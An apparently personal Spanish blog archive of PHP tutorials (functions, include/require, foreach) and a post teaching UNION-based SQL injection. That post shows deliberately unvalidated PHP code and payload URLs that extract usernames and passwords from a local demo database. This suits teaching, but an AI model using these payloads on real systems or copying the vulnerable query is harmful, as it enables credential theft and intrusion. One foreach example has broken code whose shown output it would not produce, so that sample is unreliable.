Daniel Segovia

Blog personal

Archive for diciembre, 2010

Definir funciones

Hacer un comentario

Para definir funciones en php tenemos la palabra reservada function

function nombre(parametro1, parametro2, etc …)

<?php
function sumar($valor1, $valor2){
    return $valor1 + $valor2;
}
 
sumar(4,5); //9
sumar(14,-9); //5
sumar(-1,-6); // -7
?>

Otro ejemplo

<?php
function cuadrado($n){
    return $n * $n;
}
 
echo 'El cuadro de 5 es: ' . cuadrado(5);
?>

Written by Daniel Segovia

diciembre 27th, 2010 at 5:17 pm

Posted in 3.9 Funciones

Funciones

Hacer un comentario

Las funciones en PHP pueden estar ya pre-compiladas o escritas por el usuarios. Sin embargo, la manera de llamarlas es la misma

funcion_nombre(arg1, arg2 …);

El número de argumentos siempre variará de acuerdo a la función. Cada argumento debe ser una expresión válida, incluso un llamado a otra función.

Aquí un ejemplo de la función predefinida count

<?php
$frutas = array('Banana', 'Manzana', 'Pera');
$total_frutas = count($frutas);
echo $total_frutas;
?>

Como antes mencione, los parametros deben ser expresiones válidas o bien el llamado a otras funciones.

<?php
$frutas = array('Banana', 'Manzana', 'Pera');
echo strlen(end($frutas)); // 4
?>

Las funciones tienen ámbito global, es decir, pueden ser llamadas desde cualquier lugar, inclusive si fueron escritas dentro de una función

Written by Daniel Segovia

diciembre 27th, 2010 at 4:35 pm

Funciones require y require_once

Hacer un comentario

A partir de la version PHP 4.0.2 y posteriores practicamente no hay diferencias entre include y require y include_once y require_once ambas hacen lo mismo.
La única diferencia significativa que esta documentada es que si incluimos un archivo con include y al momento de compilarlo PHP encuentra un error solo dará una advertencia y se seguirá ejecutando, mientras que require producirá un error y terminará la ejecución.

Written by Daniel Segovia

diciembre 23rd, 2010 at 11:56 am

Función include_once

Hacer un comentario

La función include_once es muy similar a include incluye y compila el archivo especificado durante la ejecución del script. La única diferencia es que el archivo solo se incluirá una vez y las próximas inclusiones al mismo archivo el compilador las pasará por alto.

<?php
//bienvenida.php
echo "Hola mundo";
?>
<?php
//index.php
include_once 'bienvenida.php';
include_once 'bienvenida.php';
?>

El resultado de la ejecución

Hola mundo

Diferencia con el include

<?php
//index2.php
include 'bienvenida.php';
include 'bienvenida.php';
?>

El resultado de la ejecución

Hola mundoHola mundo

Written by Daniel Segovia

diciembre 23rd, 2010 at 10:53 am

Función include

Hacer un comentario

Como en otros lenguajes PHP acepta cortar en código en multiples archivos para su facil lectura y su posible reutlización a futuro.
Cuando un include es ejecutado, PHP lee el archivo y compilado.
Al incluir un archivo todo lo que este dentro de él quedará en el mismo ámbito de ejecución, es decir, todas las funciones, clases, variables, etc que estén en el archivo incluido estarán disponibles en el archivo que llamo a está inclusión.

<?php
//constantes.php
define('INICIO', 1);
define('PROCESANDO', 2);
define('EXITOSO', 3);
define('ERROR', 4);
?>
<?php
//index.php
include 'constantes.php';
 
echo 'Los valores de mis constantes son' . INICIO . ' - ' . PROCESANDO . ' - ' . EXITOSO . ' - ' . ERROR;
?>

Written by Daniel Segovia

diciembre 23rd, 2010 at 10:40 am

Incluir archivos

Hacer un comentario

Separar el código de un programa en diferentes archivos es crucial para la organización del mismo. De esta manera podrás compilar tu programa separado en bloques e inclusive reciclar estás partes para reutilizarlas en otros futuros desarrollos

Written by Daniel Segovia

diciembre 23rd, 2010 at 10:22 am

Ciclos foreach

Hacer un comentario

Foreach es un ciclo que trabaja de manera facil con los arrays, este solo trabaja con arrays y el mismo dará un error si se intenta iterar una variable

Sintaxis
foreach ($array as $valor)
o
foreach ($array as $indice => $valor)

Ejemplo:

<?php
$frutas = array('Manzana', 'Banana', 'Melon');
foreach ($frutas as $valor){
    echo $valor . "<br />";
}
?>

Aquí otro ejemplo para extraer los indices

<?php
$array = array('fruta'=>'Sandia', 'verdura'=>'Tomate', 'comida'=>'Asado');
foreach($array as $indice => $valor){
    echo $indice . " - " . $valor . "<br />";
}
?>

Un ejemplo un tanto más complica, este foreach itera un array que contiene arrays dentro

<?php
$personas = array(1 => array("nombre" => "Daniel", "edad" => 21), $array("nombre" => "Carlos", "edad" => 71));
foreach ($personas as &$persona) {
    if ($persona["edad"] >= 35) {
        $personas["grupo"] = "Adulto";
    } else {
        $personas["grupo"] = "Joven";
    }
}
 
print_r($personas);
?>
Array
(
    [1] => Array
        (
            [nombre] => Daniel
            [edad] => 21
            [grupo] => Joven
        )
    [2] => Array
        (
            [nombre] => Carlos
            [edad] => 71
            [grupo] => Adulto
        )
)

Written by Daniel Segovia

diciembre 10th, 2010 at 11:25 am

Primeros pasos con SQL Injection

4 comentarios

Primero vamos a explicar que es SQL Injection, es una vulnerabilidad en el acceso a la información de la base de datos desde el código de un programa.
El origen es la no validación de los datos que provienen externamente al programa, es decir, cuando yo ingreso un usuario y contraseña para acceder a determinado sistema estoy ingresando datos al sistema, esos datos, en general, se validarán contra la base de datos. Sí los datos ingresados no son validados correctamente antes de llegar a la base de datos la vulnerabilidad esta latente para que cualquiera pueda explotarla.
Otro ejemplo puede darse cuando hay parametros que se envian a través de la url (GET) y éstos no son validados correctamente antes de llegar a la base de datos.

Primero haremos una descripción de las tablas y luego del código que accederá a ellas

Aquí la descripción de las tablas en la base de datos.

Tabla noticias

tabla 1

Tabla usuarios

tabla 2

Y aquí mostraremos los archivos involucrados para tomar la información de la DB

<?php
//index.php
include_once('conexion.php');
$sql = "SELECT * FROM noticias ORDER BY id DESC LIMIT 10"; // La última noticia arriba
$resourse = mysql_query($sql, $link);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Diario - Online</title>
<style>
.titulo a:link,  a:visited {text-decoration: none; color:#000000; font-size: 25px;}
.titulo a:hover {text-decoration: underline; color:red;}
.copete {font:arial, helvetica 12px; color:#000000}
</style>
</head>
<body>
<h1>Diario - Online</h1>
<?php
while ($data = mysql_fetch_assoc($resourse)) {
	echo '<div class="titulo"><a href="noticias.php?id='.$data['id'].'">'.$data['titulo'].'</a></div>';
	echo '<div class="copete">'.$data['copete'].'</div>';
	echo '<hr />';
}
?>
</body>
</html>
<?php
//noticias.php
include_once('conexion.php');
$sql = "SELECT * FROM noticias WHERE id = " . $_GET['id']; //Traigo la noticia con el id de la URL
$resourse = mysql_query($sql, $link);
$data = mysql_fetch_assoc($resourse);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Diario - Online</title>
<style>
.descripcion {font:arial, helvetica 12px; color:#000000}
</style>
</head>
<body>
<h1>Diario - Online || <?php echo $data['titulo'];?></h1>
<?php
echo '<div class="descripcion">'.$data['descripcion'].'</div>';
echo '<hr />';
?>
<a href="index.php">Volver</a>
</body>
</html>
<?php
//conexion.php
$host = "localhost";
$user = "root";
$pass = "";
$db = "diarioonline";
 
$link = mysql_pconnect($host, $user, $pass);
mysql_select_db($db, $link);
?>

Bueno, la vulnerabilidad a explotar se encuentra sobre el archivo noticias.php
Tengo el proyecto diarioonline corriendo en http://localhost/diarioonline/
Primero, vamos a navegar la siguiente URL http://localhost/diarioonline/noticias.php?id=3
Si miramos esta url vemos que pasa el parametro id=3 y en el código él no está validado correctamente.

Hasta aquí nada fuera de lo normal, la página tiene el funcionamiento esperado por el desarrollador de DiarioOnline.

Para realizar una prueba rápida lo que podemos hacer es navegar la siguiente URL
http://localhost/diarioonline/noticias.php?id=(select 3)
Ahí ya estaremos cambiando la url por la deseada por nosotros, si la página continua su funcionamiento correctamente quiere decir que hemos injectado código SQL al programa, es decir la consultaría quedaría así.

SELECT * FROM noticias WHERE id = (SELECT 3)

Ahora como ya sabemos que el parametro id no tiene validación, nuestro próximo paso será saber cuando columnas trae la consulta original, con la ayuda de UNION y mediante prueba y error lo conseguiremos.

http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1
Esto nos prodicará un error similar a este:
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in C:\xampp\htdocs\diarioonline\noticias.php on line 5

Esto es por que UNION nos pide la misma cantidad de columnas por cada SELECT, entonces probaremos y probaremos hasta evitar el error y saber cuantas columnas trae la consulta
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2 (ERROR)
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2,3 (ERROR)
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2,3,4 (EXITOSA)

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,2,3,4

Hemos hecho un UNION exitoso con 4 campos pedidos en la segunda consulta, así que si deseamos hacer un UNION a otra tabla, debemos tener en cuenta que siempre debemos traer 4 campos si no la consulta nos devolverá un error.

Bueno, para realizar un UNION con otra tabla, debemos saber que tablas existen y los nombres de los campos, estos son visibles desde information_schema, en este ejemplo ya tenemos la estructura de la db así que no necesitamos ninguna información extra. Para conocer sobre los joins a information_schema visita este link.

El UNION lo realizaremos sobre la tabla usuarios.
http://localhost/diarioonline/noticias.php?id=3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios

Esta consulta otra vez será exitosa, pero seguiremos viendo la misma información por pantalla
Esto se debe a que el primer registro que devuelve la consulta es la noticia, aquí una muestra del resultado de la consuta

resultados union

Lo unico que nos falta es invertir estos resultados para que en primer lugar aparezca lo que viene tras el UNION, esto lo haremos muy simple con ORDER BY

http://localhost/diarioonline/noticias.php?id=3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios ORDER BY 1 ASC

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios ORDER BY 1 ASC

El resultado será ver los usuarios y contraseñas por pantalla.

Aquí los archivos para probarlo

Written by Daniel Segovia

diciembre 10th, 2010 at 11:05 am

Posted in General

Tagged with , , , ,